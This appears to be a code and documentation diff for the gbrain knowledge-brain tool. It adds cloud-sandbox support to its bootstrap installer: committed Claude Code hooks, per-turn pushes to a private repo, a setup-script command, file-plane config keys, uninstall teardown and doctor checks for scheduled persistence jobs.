| Machine receipt | `~/.gbrain/bootstrap/receipt.json` | uninstall is keyed to it |
|
||||
|
||||
@@ -30,6 +32,36 @@ follows is `BOOTSTRAP_FOR_AGENTS.md` at the repo root, fetched at the
|
||||
schedules fire at turn/session boundaries only. True 24/7 operation is what a
|
||||
hosted brain provides — this is the honest desktop contract.
|
||||
|
||||
## Cloud sandboxes (claude.ai/code and similar)
|
||||
|
||||
Cloud sessions run in a reclaimed-after-inactivity VM behind a
|
||||
credential-injecting egress proxy. `gbrain bootstrap status --json` reports
|
||||
`execution_environment: "cloud-sandbox"` there, and the install adapts:
|
||||
|
||||
- **Hooks live in the committed `.claude/settings.json`** with PATH-resolved,
|
||||
fail-open commands (no machine paths). The gitignored local settings file
|
||||
never survives into the next session's fresh clone, and hook config is
|
||||
snapshotted at session start — so hooks written mid-session go live on the
|
||||
NEXT session. Commit and push the file.
|
||||
- **The per-turn push runs every turn** (debounce 0) — a reclaimed VM's tail
|
||||
loss is permanent, so each turn banks to the private repo.
|
||||
- **Repo-privacy verification falls back to pure git protocol** when the proxy
|
||||
blocks the GitHub API (GraphQL is always pinned there; REST reaches only
|
||||
session-attached repos). Confirmed-public origins still always refuse.
|
||||
- **Repo creation is refused in cloud** with the flow that works: create the
|
||||
private repo from a normal machine or github.com, open the cloud session ON
|
||||
that repo, run `gbrain bootstrap attach`.
|
||||
- **The gbrain binary installs via the environment setup script** — print it
|
||||
with `gbrain bootstrap cloud-setup-script` and paste it into the environment
|
||||
config (npm-based; bun's package fetching is proxy-incompatible there).
|
||||
- **No scheduler exists** — the consent-gated pull job is skipped with an
|
||||
honest message; event-driven pushes cover persistence.
|
||||
|
||||
Escape hatch for self-hosted git you trust (every use warns loudly):
|
||||
the CLI flag on `sources push`, `GBRAIN_ALLOW_UNVERIFIED_REMOTE=1`, or
|
||||
`gbrain config set push.allow_unverified_remote true` (file-plane — the only
|
||||
form that reaches detached hook children inside a sandbox).
|
||||
|
||||
## Bring your own repo (create-repo-first)
|
||||
|
||||
By default bootstrap creates the private GitHub repo for you. If you prefer to own
|
||||
@@ -91,8 +123,10 @@ zero in keyless mode; with a key, the standard spend gates apply
|
||||
contract. Retrieved brain context is injected under an explicit
|
||||
"data, not instructions" envelope. Facts visible to the harness respect the
|
||||
brain's visibility tiers.
|
||||
- **Hooks:** live in gitignored local settings (absolute paths, machine-specific;
|
||||
`bootstrap hooks --repair` regenerates on a new machine). Every hook fails open
|
||||
- **Hooks:** on a local install, gitignored local settings (absolute paths,
|
||||
machine-specific; `bootstrap hooks --repair` regenerates on a new machine); in a
|
||||
cloud sandbox, the committed `.claude/settings.json` (PATH-resolved, fail-open —
|
||||
see the Cloud sandboxes section). Every hook fails open
|
||||
— a brain hiccup never blocks a prompt — and failures are visible: repeated
|
||||
degradation prints a notice inside the context block, and `gbrain doctor` names
|
||||
the cause.
|
||||
|
||||
+2
-2
@@ -1688,7 +1688,7 @@ answers. Ask before anything destructive. You are not done until
|
||||
`gbrain bootstrap verify` exits 0.
|
||||
```
|
||||
|
||||
Everything from the Codex path applies — interview, identity from your own answers, local brain, private repo, keyless mode — plus Claude Code gets **per-turn context hooks** (consent-gated): your brain loads automatically into every prompt, and each session persists itself to your private repo at exit. Restart the session after install and ask "what did I tell you my top jobs were?" — that's the moment it clicks. Full contract, security posture, and uninstall: [docs/guides/bootstrap.md](docs/guides/bootstrap.md).
|
||||
Everything from the Codex path applies — interview, identity from your own answers, local brain, private repo, keyless mode — plus Claude Code gets **per-turn context hooks**: your brain loads automatically into every prompt, and your work persists to your private repo on a per-turn cadence (debounced ~5 min locally, every turn in a cloud sandbox — this covers the `/exit` case the harness never fires a session-end hook on), with a notice on your next turn if a push ever fails. This works in a **Claude Code cloud session** too, not just on your laptop: verification falls back to pure git protocol when the sandbox blocks the GitHub API, and `gbrain bootstrap cloud-setup-script` prints the environment setup recipe. Restart the session after install and ask "what did I tell you my top jobs were?" — that's the moment it clicks. Full contract, security posture, cloud sandboxes, and uninstall: [docs/guides/bootstrap.md](docs/guides/bootstrap.md).
|
||||
|
||||
> **Prefer to make the repo yourself?** Create a new **empty** private repo **under your own GitHub account** (no README/.gitignore/license), clone it, open the clone in Claude Code (CLI or the desktop app's open-a-repo flow), and paste the same block — bootstrap adopts your empty repo instead of creating one. The repo must be empty and personal-account-owned; org-owned repos are refused.
|
||||
|
||||
@@ -1712,7 +1712,7 @@ The agent installs GBrain, creates the brain, asks for your API keys, loads the
|
||||
|
||||
### Lighter ways in
|
||||
|
||||
**Just want a memory for your coding agent — no identity, no repo.** Spin up a local brain and connect it in two commands — zero server, zero token, zero tunnel. `--surface verbs` gives your agent the five-verb memory protocol (`recall`, `remember`, `entity`, `synthesize`, `forget` — [MEMORY_VERBS v1](docs/protocol/MEMORY_VERBS_v1.md), frozen + additive-forever) instead of the full tool wall; drop the flag for every operation:
|
||||
**Just want a memory for your coding agent — no identity, no repo.** Spin up a local brain and connect it in two commands — zero server, zero token, zero tunnel. `--surface verbs` gives your agent the seven-verb memory protocol (`recall`, `remember`, `entity`, `synthesize`, `forget`, plus `context_pack` + `delta` since v0.45.7 — [MEMORY_VERBS v1](docs/protocol/MEMORY_VERBS_v1.md), frozen + additive-forever) instead of the full tool wall; drop the flag for every operation:
|
||||
|
||||
```bash
|
||||
gbrain init --pglite # 2-second local brain (no Docker)
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
{
|
||||
"id": "gbrain-context-engine",
|
||||
"name": "gbrain",
|
||||
"version": "0.45.8.0",
|
||||
"version": "0.45.9.0",
|
||||
"description": "Personal knowledge brain with Postgres + pgvector hybrid search",
|
||||
"family": "bundle-plugin",
|
||||
"configSchema": {
|
||||
|
||||
+1
-1
@@ -154,7 +154,7 @@
|
||||
"bun": ">=1.3.10"
|
||||
},
|
||||
"license": "MIT",
|
||||
"version": "0.45.8.0",
|
||||
"version": "0.45.9.0",
|
||||
"overrides": {
|
||||
"@hono/node-server": "^2.0.5",
|
||||
"fast-uri": "^3.1.5",
|
||||
|
||||
@@ -19,6 +19,7 @@
|
||||
|
||||
import { existsSync, readFileSync, writeFileSync, mkdirSync, appendFileSync, utimesSync, unlinkSync, chmodSync, statSync } from 'fs';
|
||||
import { setCliExitVerdict } from '../core/cli-force-exit.ts';
|
||||
import { detectExecutionEnvironment } from '../core/execution-env.ts';
|
||||
import { join, dirname, isAbsolute } from 'path';
|
||||
import { execSync } from 'child_process';
|
||||
import type { BrainEngine } from '../core/engine.ts';
|
||||
@@ -1444,13 +1445,10 @@ export type InstallTarget = 'macos' | 'linux-systemd' | 'ephemeral-container' |
|
||||
export function detectInstallTarget(): InstallTarget {
|
||||
if (process.platform === 'darwin') return 'macos';
|
||||
|
||||
const ephemeral = !!(
|
||||
process.env.RENDER
|
||||
|| process.env.RAILWAY_ENVIRONMENT
|
||||
|| process.env.FLY_APP_NAME
|
||||
|| existsSync('/.dockerenv')
|
||||
);
|
||||
if (ephemeral) return 'ephemeral-container';
|
||||
// Shared detector (execution-env.ts): covers the original Render/Railway/
|
||||
// Fly//.dockerenv signals AND the cloud-sandbox signature — both get the
|
||||
// start-script treatment here (no reliable scheduler in either).
|
||||
if (detectExecutionEnvironment() !== 'local') return 'ephemeral-container';
|
||||
|
||||
if (existsSync('/run/systemd/system')) {
|
||||
try {
|
||||
|
||||
+106
-18
@@ -34,6 +34,7 @@ import { VERSION } from '../version.ts';
|
||||
import { loadConfig, loadConfigFileOnly, toEngineConfig } from '../core/config.ts';
|
||||
import { createEngine } from '../core/engine-factory.ts';
|
||||
import { resolveGbrainHome } from '../core/gbrain-home.ts';
|
||||
import { detectExecutionEnvironment } from '../core/execution-env.ts';
|
||||
import { realpathOrResolve } from '../core/path-confine.ts';
|
||||
import { loadQuestionBank } from '../core/bootstrap/assets.ts';
|
||||
import {
|
||||
@@ -56,6 +57,7 @@ import {
|
||||
registerClaudeMcp,
|
||||
registerCodexMcp,
|
||||
writeClaudeHooks,
|
||||
writeCommittedClaudeHooks,
|
||||
removeClaudeHooks,
|
||||
} from '../core/bootstrap/hooks.ts';
|
||||
import {
|
||||
@@ -100,6 +102,10 @@ Subcommands (run \`gbrain bootstrap status\` first — it is the resume entrypoi
|
||||
verify [--json] The whole install contract (round-trip, graph floor,
|
||||
magic moment, scans, hooks smoke). Exit 0 or not done.
|
||||
attach [--harness H] Machine two: adopt a cloned agent workspace.
|
||||
cloud-setup-script Print the paste-ready cloud environment setup
|
||||
script (installs the gbrain binary into the
|
||||
environment snapshot; npm-based — bun fetching
|
||||
is proxy-incompatible in cloud sandboxes).
|
||||
uninstall [--delete-brain] [--home <dir>] [--yes]
|
||||
Receipt-keyed removal. The repo stays yours.
|
||||
|
||||
@@ -607,37 +613,57 @@ async function runRepo(ws: string, rest: string[], home: string, runner: ExecRun
|
||||
|
||||
abortIfInjected('repo');
|
||||
|
||||
// PERSIST_CRON consent [D3 resolved]: opt-in 15-min scan-gated push job
|
||||
// via the existing sources-harden machinery. Best-effort: a harden
|
||||
// failure never fails the repo phase — the SessionEnd push backstop is
|
||||
// always on.
|
||||
// PERSIST_CRON consent [D3 resolved]: opt-in background persistence via
|
||||
// the existing sources-harden machinery — a git post-commit auto-push plus
|
||||
// a 30-minute scheduled pull that keeps multi-machine checkouts fresh
|
||||
// (honest copy [D9]: the event-driven pushes do the durability work; the
|
||||
// timer is the freshener). Best-effort: a harden failure never fails the
|
||||
// repo phase — the per-turn and session-end pushes are always on.
|
||||
const persist = (consentAnswer(ws, 'PERSIST_CRON') ?? 'no').toLowerCase();
|
||||
const envKind = detectExecutionEnvironment();
|
||||
if (persist === 'yes') {
|
||||
try {
|
||||
const { hardenBrainRepo } = await import('../core/brain-repo-durability.ts');
|
||||
const state = readManifest(ws);
|
||||
const sourceId = state.state === 'initialized' ? state.manifest.source_id : 'workspace';
|
||||
// Containers/cloud sandboxes have no reliable scheduler — install the
|
||||
// container-friendly half (post-commit hook + helper) and say so,
|
||||
// instead of failing a crontab write that could never survive anyway.
|
||||
const installCron = envKind === 'local';
|
||||
const report = await hardenBrainRepo({
|
||||
repoPath: ws,
|
||||
sourceId,
|
||||
installCron: true,
|
||||
installCron,
|
||||
verify: false,
|
||||
logger: (l: string) => process.stderr.write(`[harden] ${l}\n`),
|
||||
});
|
||||
const attention = report.steps.filter((s) => s.status === 'needs_attention');
|
||||
console.log(
|
||||
attention.length === 0
|
||||
? 'background persistence enabled (15-min scan-gated push job installed).'
|
||||
: `background persistence partially enabled — needs attention: ${attention.map((s) => `${s.step}: ${s.detail}`).join('; ')}`,
|
||||
);
|
||||
if (attention.length > 0) {
|
||||
console.log(
|
||||
`background persistence partially enabled — needs attention: ${attention.map((s) => `${s.step}: ${s.detail}`).join('; ')}`,
|
||||
);
|
||||
} else if (installCron) {
|
||||
console.log(
|
||||
'background persistence enabled (post-commit auto-push + 30-min scheduled pull installed).',
|
||||
);
|
||||
} else {
|
||||
console.log(
|
||||
`background persistence enabled for this ${envKind === 'cloud-sandbox' ? 'cloud sandbox' : 'container'}: ` +
|
||||
'post-commit auto-push installed; per-turn and session-end pushes are already on. ' +
|
||||
'No scheduler exists in this environment, so the 30-min pull is skipped — run ' +
|
||||
'`gbrain sources harden` on a persistent machine to add it.',
|
||||
);
|
||||
}
|
||||
} catch (e) {
|
||||
console.error(
|
||||
`note: background-persistence install failed (${(e as Error).message}). ` +
|
||||
'Session-end pushes still persist your work; re-try later with `gbrain sources harden`.',
|
||||
'Per-turn and session-end pushes still persist your work; re-try later with `gbrain sources harden`.',
|
||||
);
|
||||
}
|
||||
} else {
|
||||
console.log('background persistence declined — the session-end push remains the persistence backstop.');
|
||||
console.log(
|
||||
'background persistence declined — the per-turn and session-end pushes remain the persistence backstop.',
|
||||
);
|
||||
}
|
||||
return 0;
|
||||
});
|
||||
@@ -789,12 +815,28 @@ async function runHooks(ws: string, rest: string[], home: string, runner: ExecRu
|
||||
let hooksWritten = false;
|
||||
if (harness === 'claude-code') {
|
||||
if (hooksConsent) {
|
||||
const r = writeClaudeHooks(ws, {
|
||||
gbrainBin,
|
||||
env: { GBRAIN_SOURCE: sourceId, ...(gbrainHome ? { GBRAIN_HOME: gbrainHome } : {}) },
|
||||
});
|
||||
// Carrier choice [D12]: cloud sandboxes clone fresh and snapshot hook
|
||||
// config at session start — only the repo-COMMITTED settings file
|
||||
// exists there, so cloud installs write the committed carrier
|
||||
// (PATH-resolved, fail-open commands; no machine paths). Local
|
||||
// installs keep the gitignored settings.local.json with the absolute
|
||||
// binary path. The writers enforce that one event never fires from
|
||||
// both files.
|
||||
const hookEnv = { GBRAIN_SOURCE: sourceId, ...(gbrainHome ? { GBRAIN_HOME: gbrainHome } : {}) };
|
||||
const cloudCarrier = detectExecutionEnvironment() === 'cloud-sandbox';
|
||||
const r = cloudCarrier
|
||||
? writeCommittedClaudeHooks(ws, { env: hookEnv })
|
||||
: writeClaudeHooks(ws, { gbrainBin, env: hookEnv });
|
||||
hooksWritten = true;
|
||||
console.log(`hooks installed (${r.installed.length} event(s)) in ${r.settingsPath}${repair ? ' [repair]' : ''} — your brain now loads every turn. Turn off any time with GBRAIN_HOOKS=0, or re-run with --no-hooks.`);
|
||||
console.log(
|
||||
`hooks installed (${r.installed.length} event(s)) in ${r.settingsPath}${repair ? ' [repair]' : ''} — your brain now loads every turn. Turn off any time with GBRAIN_HOOKS=0, or re-run with --no-hooks.`,
|
||||
);
|
||||
if (cloudCarrier) {
|
||||
console.log(
|
||||
'cloud sandbox: hooks written to the COMMITTED .claude/settings.json (fail-open, PATH-resolved) — ' +
|
||||
'commit + push it so the next session starts with hooks live; hooks written mid-session activate on the NEXT session (startup snapshot).',
|
||||
);
|
||||
}
|
||||
for (const note of r.notes) console.error(note);
|
||||
} else {
|
||||
console.log(
|
||||
@@ -913,6 +955,10 @@ async function runUninstall(ws: string, rest: string[], home: string, runner: Ex
|
||||
'offered: export facts before deletion (`gbrain facts export`) — the brain DB is about to be removed and facts are not derived state',
|
||||
);
|
||||
}
|
||||
// Read the source id BEFORE uninstallWorkspace removes rendered files —
|
||||
// the durability teardown below needs it and the manifest may not survive.
|
||||
const preState = readManifest(ws);
|
||||
const durabilitySourceId = preState.state === 'initialized' ? preState.manifest.source_id : 'workspace';
|
||||
const result = await uninstallWorkspace(ws, {
|
||||
deleteBrain,
|
||||
...(yes ? { confirm: async () => true } : {}),
|
||||
@@ -935,6 +981,41 @@ async function runUninstall(ws: string, rest: string[], home: string, runner: Ex
|
||||
}
|
||||
}
|
||||
|
||||
// Per-root hook-lane state [D13]: remove this workspace's push-status,
|
||||
// debounce, and announce files — a dead root's failing record would
|
||||
// otherwise re-fire the failure banner forever (it can never be cleared
|
||||
// by a re-push once the workspace is gone).
|
||||
try {
|
||||
const { pushStatusPathForRoot, workspaceRootHash } = await import('../core/workspace-push.ts');
|
||||
const { execFileSync } = await import('node:child_process');
|
||||
let root = ws;
|
||||
try {
|
||||
root = execFileSync('git', ['-C', ws, 'rev-parse', '--show-toplevel'], {
|
||||
stdio: ['ignore', 'pipe', 'ignore'], timeout: 5_000, env: process.env,
|
||||
}).toString().trim() || ws;
|
||||
} catch { /* not a repo — use ws as-is */ }
|
||||
const { rmSync } = await import('node:fs');
|
||||
const statusFile = pushStatusPathForRoot(root);
|
||||
for (const f of [statusFile, `${statusFile}.announced`, join(resolveGbrainHome(), 'bootstrap', `stop-push-${workspaceRootHash(root)}.json`)]) {
|
||||
rmSync(f, { force: true });
|
||||
}
|
||||
} catch { /* best-effort */ }
|
||||
|
||||
// Durability teardown [B6]: uninstall previously left the launchd/cron
|
||||
// job, the untracked post-commit hook, and the credential wiring behind.
|
||||
// Best-effort — a teardown hiccup never fails the uninstall. The COMMITTED
|
||||
// helper script and AGENTS.md rules stay (repo content is the user's).
|
||||
try {
|
||||
const { unhardenBrainRepo } = await import('../core/brain-repo-durability.ts');
|
||||
const steps = await unhardenBrainRepo({ repoPath: ws, sourceId: durabilitySourceId });
|
||||
const acted = steps.filter((s) => s.status === 'fixed');
|
||||
if (acted.length > 0) {
|
||||
console.log(`durability wiring removed: ${acted.map((s) => s.step).join(', ')} (committed helper + AGENTS rules stay — repo content is yours)`);
|
||||
}
|
||||
} catch (e) {
|
||||
console.error(`note: durability teardown incomplete (${(e as Error).message}) — run \`gbrain sources unharden ${durabilitySourceId}\` by hand if a scheduled job lingers.`);
|
||||
}
|
||||
|
||||
// The facts-export offer already printed BEFORE deletion (above); don't
|
||||
// repeat it after the brain is gone.
|
||||
for (const step of result.steps) {
|
||||
@@ -972,7 +1053,7 @@ export async function runBootstrap(args: string[], opts: RunBootstrapOpts = {}):
|
||||
const logCtx: LogCtx = { home, ws, ...(harnessForLog ? { harness: harnessForLog } : {}) };
|
||||
const t0 = Date.now();
|
||||
|
||||
const KNOWN = new Set(['status', 'interview', 'render', 'repo', 'hooks', 'verify', 'attach', 'uninstall']);
|
||||
const KNOWN = new Set(['status', 'interview', 'render', 'repo', 'hooks', 'verify', 'attach', 'uninstall', 'cloud-setup-script']);
|
||||
if (!KNOWN.has(sub)) {
|
||||
console.error(`unknown subcommand: ${sub}`);
|
||||
console.error(BOOTSTRAP_HELP);
|
||||
@@ -989,6 +1070,13 @@ export async function runBootstrap(args: string[], opts: RunBootstrapOpts = {}):
|
||||
case 'status':
|
||||
// status is the read surface — it does not log itself into install.jsonl.
|
||||
return await runStatus(ws, rest, home);
|
||||
case 'cloud-setup-script': {
|
||||
// Pure print [D16]: the paste-ready cloud environment setup script.
|
||||
// Read surface like status — no install log entry.
|
||||
const { loadCloudSetupScript } = await import('../core/bootstrap/assets.ts');
|
||||
console.log(loadCloudSetupScript().trimEnd());
|
||||
return 0;
|
||||
}
|
||||
case 'interview':
|
||||
code = await runInterview(ws, rest);
|
||||
break;
|
||||
|
||||
+55
-1
@@ -91,6 +91,21 @@ export async function runConfig(engine: BrainEngine, args: string[]) {
|
||||
console.error('Usage: gbrain config unset <key> | --pattern <prefix>');
|
||||
process.exit(1);
|
||||
}
|
||||
if (key === 'push.allow_unverified_remote' || key === 'hooks.stop_push_debounce_min') {
|
||||
const { loadConfigFileOnly, saveConfig } = await import('../core/config.ts');
|
||||
const cfg = loadConfigFileOnly();
|
||||
const [top, leaf] = key.split('.') as ['push' | 'hooks', string];
|
||||
const branch = cfg?.[top] as Record<string, unknown> | undefined;
|
||||
if (cfg && branch && leaf in branch) {
|
||||
delete branch[leaf];
|
||||
saveConfig(cfg);
|
||||
console.log(`Unset ${key} (file plane)`);
|
||||
} else {
|
||||
console.error(`Config key not found: ${key}`);
|
||||
process.exit(1);
|
||||
}
|
||||
return;
|
||||
}
|
||||
const n = await engine.unsetConfig(key);
|
||||
if (n > 0) {
|
||||
console.log(`Unset ${key}`);
|
||||
@@ -111,7 +126,14 @@ export async function runConfig(engine: BrainEngine, args: string[]) {
|
||||
// overlays env onto the file) — and report which plane answered on
|
||||
// stderr, keeping stdout a bare value for scripts.
|
||||
const filePlane = loadConfig() as Record<string, unknown> | null;
|
||||
const fileVal = filePlane?.[key];
|
||||
// Dotted keys (push.allow_unverified_remote, hooks.stop_push_debounce_min)
|
||||
// are stored NESTED by `set`; resolve the path so `get`/`unset` see them.
|
||||
const resolveDotted = (obj: Record<string, unknown> | null, k: string): unknown => {
|
||||
if (!obj) return undefined;
|
||||
if (k in obj) return obj[k];
|
||||
return k.split('.').reduce<unknown>((acc, seg) => (acc && typeof acc === 'object' ? (acc as Record<string, unknown>)[seg] : undefined), obj);
|
||||
};
|
||||
const fileVal = resolveDotted(filePlane, key);
|
||||
const dbVal = await engine.getConfig(key);
|
||||
const val = fileVal !== undefined && fileVal !== null ? fileVal : dbVal;
|
||||
if (val !== null && val !== undefined) {
|
||||
@@ -129,6 +151,38 @@ export async function runConfig(engine: BrainEngine, args: string[]) {
|
||||
process.exit(1);
|
||||
}
|
||||
} else if (action === 'set' && key && value) {
|
||||
// Bootstrap hook-lane keys are FILE-plane canonical: they are read by
|
||||
// engine-free processes (the harness hook children and the detached
|
||||
// `sources push` child) via loadConfigFileOnly, which never sees the DB
|
||||
// plane — and the DB plane is unreadable anyway while a `gbrain serve`
|
||||
// holds the single-writer lock. Route them to ~/.gbrain/config.json.
|
||||
if (key === 'push.allow_unverified_remote' || key === 'hooks.stop_push_debounce_min') {
|
||||
const { loadConfigFileOnly, saveConfig, isConfigTruthy } = await import('../core/config.ts');
|
||||
const cfg = (loadConfigFileOnly() ?? { engine: 'pglite' }) as Parameters<typeof saveConfig>[0];
|
||||
if (key === 'push.allow_unverified_remote') {
|
||||
const on = isConfigTruthy(value);
|
||||
cfg.push = { ...(cfg.push ?? {}), allow_unverified_remote: on };
|
||||
saveConfig(cfg);
|
||||
console.log(`Set ${key} = ${on} (file plane: ~/.gbrain/config.json)`);
|
||||
if (on) {
|
||||
console.log(
|
||||
'WARNING: workspace pushes now SKIP repo-visibility verification. ' +
|
||||
'This trusts the remote on your word — unset it once verification works: ' +
|
||||
'gbrain config set push.allow_unverified_remote false',
|
||||
);
|
||||
}
|
||||
} else {
|
||||
const n = Number.parseInt(value, 10);
|
||||
if (!Number.isFinite(n) || n < 0) {
|
||||
console.error(`[config] ${key} must be an integer >= 0 (minutes; 0 = push every turn)`);
|
||||
process.exit(1);
|
||||
}
|
||||
cfg.hooks = { ...(cfg.hooks ?? {}), stop_push_debounce_min: n };
|
||||
saveConfig(cfg);
|
||||
console.log(`Set ${key} = ${n} (file plane: ~/.gbrain/config.json)`);
|
||||
}
|
||||
return;
|
||||
}
|
||||
// v0.37.11.0 fix wave (Lane C.2 + CDX2-13): refuse writes to schema-sizing
|
||||
// fields unconditionally. These fields size the `content_chunks.embedding`
|
||||
// column at init time and are file-plane canonical. `gbrain config set
|
||||
|
||||
+111
-27
@@ -8409,9 +8409,12 @@ export async function bootstrapDoctorChecks(engine: BrainEngine | null): Promise
|
||||
return [];
|
||||
}
|
||||
const receipt = readReceipt(home);
|
||||
const pushStatusFile = join(home, 'bootstrap', 'push-status.json');
|
||||
// One reader for every push-status surface [D8]; per-root files [D13].
|
||||
const { readPushStatuses, pushStatusFilesExist } = await import('../core/workspace-push.ts');
|
||||
const pushStatuses = readPushStatuses();
|
||||
const statusFilesOnDisk = pushStatusFilesExist();
|
||||
const heartbeatFile = join(home, 'integrations', 'hooks', 'heartbeat.jsonl');
|
||||
const hasBootstrapState = receipt !== null || existsSync(pushStatusFile) || existsSync(heartbeatFile);
|
||||
const hasBootstrapState = receipt !== null || statusFilesOnDisk || existsSync(heartbeatFile);
|
||||
if (!hasBootstrapState) return [];
|
||||
|
||||
const ws = receipt?.workspace_dir ?? null;
|
||||
@@ -8452,43 +8455,124 @@ export async function bootstrapDoctorChecks(engine: BrainEngine | null): Promise
|
||||
}
|
||||
|
||||
// 2. Push staleness [B4]: fail when the last successful push is >48h old
|
||||
// AND the workspace tree is dirty (recent work provably unpushed).
|
||||
// AND the workspace tree is dirty (recent work provably unpushed). Per-root
|
||||
// status files [D13]: the WORST entry decides, so one workspace's success
|
||||
// can never mask another's failure.
|
||||
try {
|
||||
if (existsSync(pushStatusFile)) {
|
||||
if (pushStatuses.length > 0) {
|
||||
const { PUSH_STALE_MS } = await import('./hook.ts'); // hook.ts owns the threshold (single source)
|
||||
const s = JSON.parse(readFileSync(pushStatusFile, 'utf8')) as { ts?: string; ok?: boolean; reason?: string };
|
||||
const t = s.ts ? Date.parse(s.ts) : NaN;
|
||||
const stale = Number.isFinite(t) && Date.now() - t > PUSH_STALE_MS;
|
||||
let dirty = false;
|
||||
if (ws) {
|
||||
try {
|
||||
dirty = execFileSync('git', ['-C', ws, 'status', '--porcelain'], {
|
||||
stdio: ['ignore', 'pipe', 'ignore'], timeout: 10_000,
|
||||
}).toString().trim() !== '';
|
||||
} catch { dirty = false; }
|
||||
}
|
||||
if (s.ok === false) {
|
||||
const failing = pushStatuses.filter((s) => s.ok === false);
|
||||
if (failing.length > 0) {
|
||||
const s = failing[0]!;
|
||||
const target = s.repoRoot ?? ws ?? undefined;
|
||||
const rest = failing.length > 1 ? ` [+${failing.length - 1} more workspace(s)]` : '';
|
||||
checks.push({
|
||||
name: 'bootstrap_push_health',
|
||||
status: 'warn',
|
||||
message: `last workspace push FAILED (${s.ts ?? 'unknown'}): ${s.reason ?? 'unknown'} — run \`gbrain sources push${ws ? ` --path ${ws}` : ''}\``,
|
||||
message: `last workspace push FAILED${target ? ` for ${target}` : ''} (${s.ts ?? 'unknown'}): ${s.reason ?? 'unknown'}${rest} — run \`gbrain sources push${target ? ` --path ${target}` : ''}\``,
|
||||
});
|
||||
} else if (stale && dirty) {
|
||||
checks.push({
|
||||
name: 'bootstrap_push_health',
|
||||
status: 'fail',
|
||||
message: `last successful push ${s.ts} (>48h) with a DIRTY workspace tree — recent agent memory is unpushed [B4]. Run \`gbrain sources push --path ${ws}\`.`,
|
||||
});
|
||||
} else if (stale) {
|
||||
checks.push({ name: 'bootstrap_push_health', status: 'warn', message: `last successful push ${s.ts} (>48h ago); tree clean — likely just idle` });
|
||||
} else {
|
||||
checks.push({ name: 'bootstrap_push_health', status: 'ok', message: `last push ok (${s.ts ?? 'unknown'})` });
|
||||
const stamps = pushStatuses.map((s) => Date.parse(s.ts ?? '')).filter((t) => Number.isFinite(t));
|
||||
const stalest = stamps.length > 0 ? Math.min(...stamps) : NaN;
|
||||
const staleIso = Number.isFinite(stalest) ? new Date(stalest).toISOString() : 'unknown';
|
||||
const stale = Number.isFinite(stalest) && Date.now() - stalest > PUSH_STALE_MS;
|
||||
let dirty = false;
|
||||
if (ws) {
|
||||
try {
|
||||
dirty = execFileSync('git', ['-C', ws, 'status', '--porcelain'], {
|
||||
stdio: ['ignore', 'pipe', 'ignore'], timeout: 10_000,
|
||||
}).toString().trim() !== '';
|
||||
} catch { dirty = false; }
|
||||
}
|
||||
if (stale && dirty) {
|
||||
checks.push({
|
||||
name: 'bootstrap_push_health',
|
||||
status: 'fail',
|
||||
message: `last successful push ${staleIso} (>48h) with a DIRTY workspace tree — recent agent memory is unpushed [B4]. Run \`gbrain sources push --path ${ws}\`.`,
|
||||
});
|
||||
} else if (stale) {
|
||||
checks.push({ name: 'bootstrap_push_health', status: 'warn', message: `last successful push ${staleIso} (>48h ago); tree clean — likely just idle` });
|
||||
} else {
|
||||
checks.push({ name: 'bootstrap_push_health', status: 'ok', message: `last push ok (${staleIso})` });
|
||||
}
|
||||
}
|
||||
} else if (statusFilesOnDisk) {
|
||||
// Files exist but none parsed — the tolerant reader skips corrupt
|
||||
// records; doctor must not let that read as "no news is good news".
|
||||
checks.push({ name: 'bootstrap_push_health', status: 'warn', message: 'push status unreadable' });
|
||||
}
|
||||
} catch {
|
||||
checks.push({ name: 'bootstrap_push_health', status: 'warn', message: 'push-status.json unreadable' });
|
||||
checks.push({ name: 'bootstrap_push_health', status: 'warn', message: 'push status unreadable' });
|
||||
}
|
||||
|
||||
// 2b. Durability job [B7/D7]: presence + LIVENESS. A presence-only check
|
||||
// certifies dead jobs as healthy (the autopilot-status failure mode), so
|
||||
// this warns on plist-present-but-unloaded and stale pull logs. Only warns
|
||||
// when the user actually consented to the job; containers/cloud sandboxes
|
||||
// are expected to have none.
|
||||
try {
|
||||
if (ws !== null && receipt !== null) {
|
||||
const { detectExecutionEnvironment } = await import('../core/execution-env.ts');
|
||||
const envKind = detectExecutionEnvironment();
|
||||
if (envKind !== 'local') {
|
||||
// Answered BEFORE the subprocess probes — cloud/container doctor
|
||||
// runs must not pay launchctl/crontab spawns for an answer that is
|
||||
// discarded (no scheduler exists there by design).
|
||||
checks.push({
|
||||
name: 'bootstrap_durability_job',
|
||||
status: 'ok',
|
||||
message: `no scheduler in this environment (${envKind}) — expected; per-turn and session-end pushes cover persistence`,
|
||||
});
|
||||
} else {
|
||||
const { durabilityJobStatus } = await import('../core/brain-repo-durability.ts');
|
||||
const { readInterviewState } = await import('../core/bootstrap/interview.ts');
|
||||
const sourceId = receipt.source_id ?? 'workspace';
|
||||
const js = durabilityJobStatus(sourceId);
|
||||
let consented = false;
|
||||
try {
|
||||
const iv = readInterviewState(ws);
|
||||
consented = iv.ok && (iv.state.answers['PERSIST_CRON']?.value ?? '').toLowerCase() === 'yes';
|
||||
} catch { consented = false; }
|
||||
if (!consented) {
|
||||
if (js.kind !== 'none') {
|
||||
checks.push({ name: 'bootstrap_durability_job', status: 'ok', message: `${js.kind} pull job present (not required by consent — fine)` });
|
||||
}
|
||||
// no consent + no job → nothing to check; stay silent
|
||||
} else if (js.kind === 'none') {
|
||||
checks.push({
|
||||
name: 'bootstrap_durability_job',
|
||||
status: 'warn',
|
||||
message: `background persistence was consented (PERSIST_CRON=yes) but no scheduled job exists — run \`gbrain sources harden ${sourceId}\``,
|
||||
});
|
||||
} else if (js.live === false) {
|
||||
checks.push({
|
||||
name: 'bootstrap_durability_job',
|
||||
status: 'warn',
|
||||
message: `${js.kind} job is on disk but NOT loaded — a dead job looks healthy to presence checks. Re-run \`gbrain sources harden ${sourceId}\` to reload it.`,
|
||||
});
|
||||
} else if (!js.wrapperPresent) {
|
||||
checks.push({
|
||||
name: 'bootstrap_durability_job',
|
||||
status: 'warn',
|
||||
message: `${js.kind} job exists but its wrapper script is missing — re-run \`gbrain sources harden ${sourceId}\``,
|
||||
});
|
||||
} else if (js.logFresh === false) {
|
||||
checks.push({
|
||||
name: 'bootstrap_durability_job',
|
||||
status: 'warn',
|
||||
message: `${js.kind} job present but the pull log is stale (no run within 2× the interval) — the job may be dead; re-run \`gbrain sources harden ${sourceId}\``,
|
||||
});
|
||||
} else if (js.kind === 'crontab' && js.logFresh === undefined) {
|
||||
// The crontab LINE existing proves installation, not that the cron
|
||||
// daemon runs it — with no pull log yet we can't claim liveness.
|
||||
